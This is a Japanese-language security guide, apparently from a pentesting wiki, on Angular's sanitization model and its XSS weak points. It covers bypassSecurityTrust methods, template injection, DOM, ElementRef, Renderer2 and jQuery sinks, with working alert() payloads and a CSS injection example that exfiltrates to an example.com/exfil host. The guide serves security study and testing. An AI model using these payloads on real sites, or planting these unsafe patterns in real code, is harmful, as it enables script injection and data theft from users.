Angular

チェックリスト

チェックリストはこちらから。

Angularとは

Angularは、Googleが維持する強力オープンソースのフロントエンドフレームワークです。TypeScriptを使用してコードの可読性とデバッグを向上させています。強力なセキュリティメカニズムを備えており、XSSオープンリダイレクトなどの一般的なクライアントサイドの脆弱性を防止します。セキュリティの考慮事項は両方の側面から重要です。

フレームワークのアーキテクチャ

Angularの基本をよりよく理解するために、その重要な概念を見ていきましょう。

一般的なAngularプロジェクトは通常次のようになります:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Angularアプリケーションには少なくとも1つのコンポーネント、DOMとコンポーネント階層を接続するルートコンポーネント(AppComponent)があります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、表示するビューを定義するHTMLテンプレートと関連付けられます。@Component()デコレータは、直下のクラスをコンポーネントとして識別し、テンプレートと関連するコンポーネント固有のメタデータを提供します。AppComponentapp.component.tsファイルで定義されています。

AngularのNgModuleは、アプリケーションドメイン、ワークフロー、または関連する機能セットに専用のコンポーネントセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常AppModuleという名前のルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションには通常、多くの機能モジュールが含まれています。AppModuleapp.module.tsファイルで定義されています。

AngularのRouter NgModuleは、アプリケーション内の異なるアプリケーション状態とビューヒエラルキーの間のナビゲーションパスを定義できるサービスを提供します。RouterModuleapp-routing.module.tsファイルで定義されています。

特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、@Injectable()デコレータの直前に配置されます。このデコレータは、他のプロバイダがクラスに依存関係としてインジェクトされることを可能にするメタデータを提供します。依存性注入(DI)を使用すると、コンポーネントクラスをスリムで効率的に保つことができます。コンポーネントクラスはサーバーからデータを取得したり、ユーザー入力を検証したり、直接コンソールにログを記録したりしません。そのようなタスクはサービスに委任されます。

ソースマップの構成

Angularフレームワークは、TypeScriptファイルをJavaScriptコードに変換し、tsconfig.jsonオプションに従ってプロジェクトをangular.json構成でビルドします。angular.jsonファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは非表示になっていません。

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

データバインディング

バインディングとは、コンポーネントとそれに対応するビュー間の通信プロセスを指します。Angularフレームワークへのデータの送受信に使用されます。データは、イベント、補間、プロパティ、または双方向バインディングメカニズムを介してさまざまな手段で渡すことができます。さらに、データは関連するコンポーネント間(親子関係)や、Service機能を使用して関連のない2つのコンポーネント間で共有することもできます。

データフローによってバインディングを分類できます:

  • データソースからビューターゲットへ(補間、プロパティ、属性、クラス、スタイルを含む);テンプレート内で[]または{{}}を使用して適用できます。

  • ビューターゲットからデータソースへ(イベントを含む);テンプレート内で()を使用して適用できます。

  • 双方向;テンプレート内で[()]を使用して適用できます。

バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意の公開メンバーに対して呼び出すことができます:

タイプターゲット

プロパティ

要素のプロパティ、コンポーネントのプロパティ、ディレクティブのプロパティ

<img [alt]="hero.name" [src]="heroImageUrl">

イベント

要素のイベント、コンポーネントのイベント、ディレクティブのイベント

<button type="button" (click)="onSave()">Save

双方向

イベントとプロパティ

<input [(ngModel)]="name">

属性

属性(例外)

<button type="button" [attr.aria-label]="help">help

クラス

クラスプロパティ

<div [class.special]="isSpecial">Special

スタイル

スタイルプロパティ

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angularセキュリティモデル

Angularの設計には、デフォルトですべてのデータのエンコードまたはサニタイズが含まれており、AngularプロジェクトでXSS脆弱性を発見および悪用することがますます困難になっています。データ処理には2つの異なるシナリオがあります:

  1. 補間または{{user_input}} - コンテキストに応じたエンコードを実行し、ユーザー入力をテキストとして解釈します。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

結果:&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. プロパティ、属性、クラス、およびスタイルにバインディングするか、[attribute]="user_input" - 提供されたセキュリティコンテキストに基づいてサニタイズを実行します。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

結果:<div><h1>test</h1></div>

SecurityContextには6つのタイプがあります:

  • None

  • HTML:値をHTMLとして解釈する場合に使用

  • STYLE:CSSをstyleプロパティにバインドする場合に使用

  • URL<a href>などのURLプロパティに使用

  • SCRIPT:JavaScriptコードに使用

  • RESOURCE_URL:コードとしてロードおよび実行されるURL(例:<script src>)に使用

脆弱性

セキュリティトラストメソッドのバイパス

Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値を安全に使用できることを示すためのメソッドのリストを導入しています。以下は、その5つの例です:

  1. bypassSecurityTrustUrlは、指定された値が安全なスタイルURLであることを示すために使用されます:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrlは、指定された値が安全なリソースURLであることを示すために使用されます:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtmlは、指定された値が安全なHTMLであることを示すために使用されます。この方法でscript要素をDOMツリーに挿入しても、DOMツリーに追加される方法のため、囲まれたJavaScriptコードが実行されることはありません。

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScriptは、指定された値が安全なJavaScriptであることを示すために使用されます。ただし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作が予測不可能であることがわかりました。

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyleは、指定された値が安全なCSSであることを示すために使用されます。次の例は、CSSインジェクションを示しています:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angularは、ビューに表示する前にデータをサニタイズするsanitizeメソッドを提供しています。このメソッドは、提供されたセキュリティコンテキストを使用して入力をクリーンアップします。ただし、特定のデータとコンテキストに適切なセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツにSecurityContext.URLを使用してサニタイズを適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。

HTMLインジェクション

この脆弱性は、ユーザー入力がinnerHTMLouterHTML、またはiframesrcdocにバインドされると発生します。これらの属性にバインドすると、HTMLがそのまま解釈されますが、入力はSecurityContext.HTMLを使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。

innerHTMLの使用例:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

結果は <div><h1>test</h1></div> です。

テンプレートインジェクション

クライアントサイドレンダリング(CSR)

Angular はテンプレートを活用してページを動的に構築します。このアプローチでは、Angular が評価するためにテンプレート式を二重の波括弧({{}})で囲むことが含まれます。この方法で、フレームワークは追加の機能を提供します。たとえば、{{1+1}} のようなテンプレートは 2 として表示されます。

通常、Angular はテンプレート式と混同される可能性のあるユーザー入力をエスケープします(たとえば、`< > ' " `` などの文字)。これは、ブラックリストに登録された文字を使用しないようにするために、JavaScript 文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。ただし、これを達成するには、Angular のコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように現れる可能性があります:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
<p>上記のように、`constructor`はObject `constructor`プロパティのスコープを指し、String constructorを呼び出して任意のコードを実行できるようにします。</p>

<h4>サーバーサイドレンダリング(SSR)</h4>

<p>CSRとは異なり、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。ただし、Angular UniversalはCSRで使用されているサニタイゼーションメカニズムをSSRセキュリティの向上にも適用します。SSRにおけるテンプレートインジェクション脆弱性は、使用されているテンプレート言語が同じであるため、CSRと同様に見つけることができます。</p>

<p>もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する場合、新しいテンプレートインジェクション脆弱性が導入される可能性もあります。</p>

<h3>XSS</h3>

<h4>DOMインタフェース</h4>

<p>前述のように、_Document_インタフェースを使用してDOMに直接アクセスできます。ユーザー入力が事前に検証されていない場合、クロスサイトスクリプティング(XSS)脆弱性が発生する可能性があります。</p>

<p>以下の例では、`document.write()`および`document.createElement()`メソッドを使用しました。</p>
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular クラス

Angular で DOM 要素を操作するために使用できるいくつかのクラスがあります: ElementRefRenderer2LocationDocumentです。最後の2つのクラスの詳細な説明はオープンリダイレクトセクションで提供されています。最初の2つの主な違いは、Renderer2 API が DOM 要素とコンポーネントコードの間に抽象化レイヤーを提供する点であり、一方、ElementRef は要素への参照を保持するだけです。そのため、Angular のドキュメントによると、ElementRef API は直接 DOM へのアクセスが必要な場合にのみ使用すべきです。

  • ElementRef には nativeElement プロパティが含まれており、DOM 要素を操作するために使用できます。ただし、nativeElement の不適切な使用は XSS インジェクションの脆弱性を引き起こす可能性があります。以下に示すように:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Renderer2 は、ネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できる API を提供しますが、いくつかのセキュリティ上の欠陥があります。Renderer2 を使用すると、setAttribute() メソッドを使用して HTML 要素に属性を設定することが可能で、これには XSS 防止メカニズムがありません。

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • DOM 要素のプロパティを設定するには、Renderer2.setProperty() メソッドを使用して XSS 攻撃をトリガーできます:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

研究中、Renderer2 の他のメソッド(setStyle()createComment()setValue())の動作も XSS および CSS インジェクションに関連して調査しました。しかし、これらのメソッドについては、機能上の制限により有効な攻撃ベクトルを見つけることができませんでした。

jQuery

jQuery は高速で小さく、機能豊富な JavaScript ライブラリであり、Angular プロジェクトで HTML DOM オブジェクトの操作を支援するために使用できます。ただし、このライブラリのメソッドは XSS 脆弱性を引き起こす可能性があることが知られています。Angular プロジェクトでいくつかの脆弱な jQuery メソッドがどのように悪用される可能性があるかを議論するために、このサブセクションを追加しました。

  • html() メソッドは、一致した要素セットの最初の要素の HTML コンテンツを取得するか、すべての一致した要素の HTML コンテンツを設定します。ただし、設計上、HTML 文字列を受け入れる jQuery コンストラクタやメソッドは潜在的にコードを実行できます。これは、<script> タグのインジェクションやコードを実行する HTML 属性の使用によって発生する可能性があります。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML() メソッドは、文字列を DOM ノードのセットに変換するためにネイティブメソッドを使用し、その後ドキュメントに挿入できます。

jQuery.parseHTML(data [, context ] [, keepScripts ])

前述のように、HTML 文字列を受け入れるほとんどの jQuery API は、HTML に含まれるスクリプトを実行します。jQuery.parseHTML() メソッドは、keepScripts が明示的に true でない限り、解析された HTML のスクリプトを実行しません。ただし、ほとんどの環境では、例えば <img onerror> 属性を介してスクリプトを間接的に実行することができます。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Last updated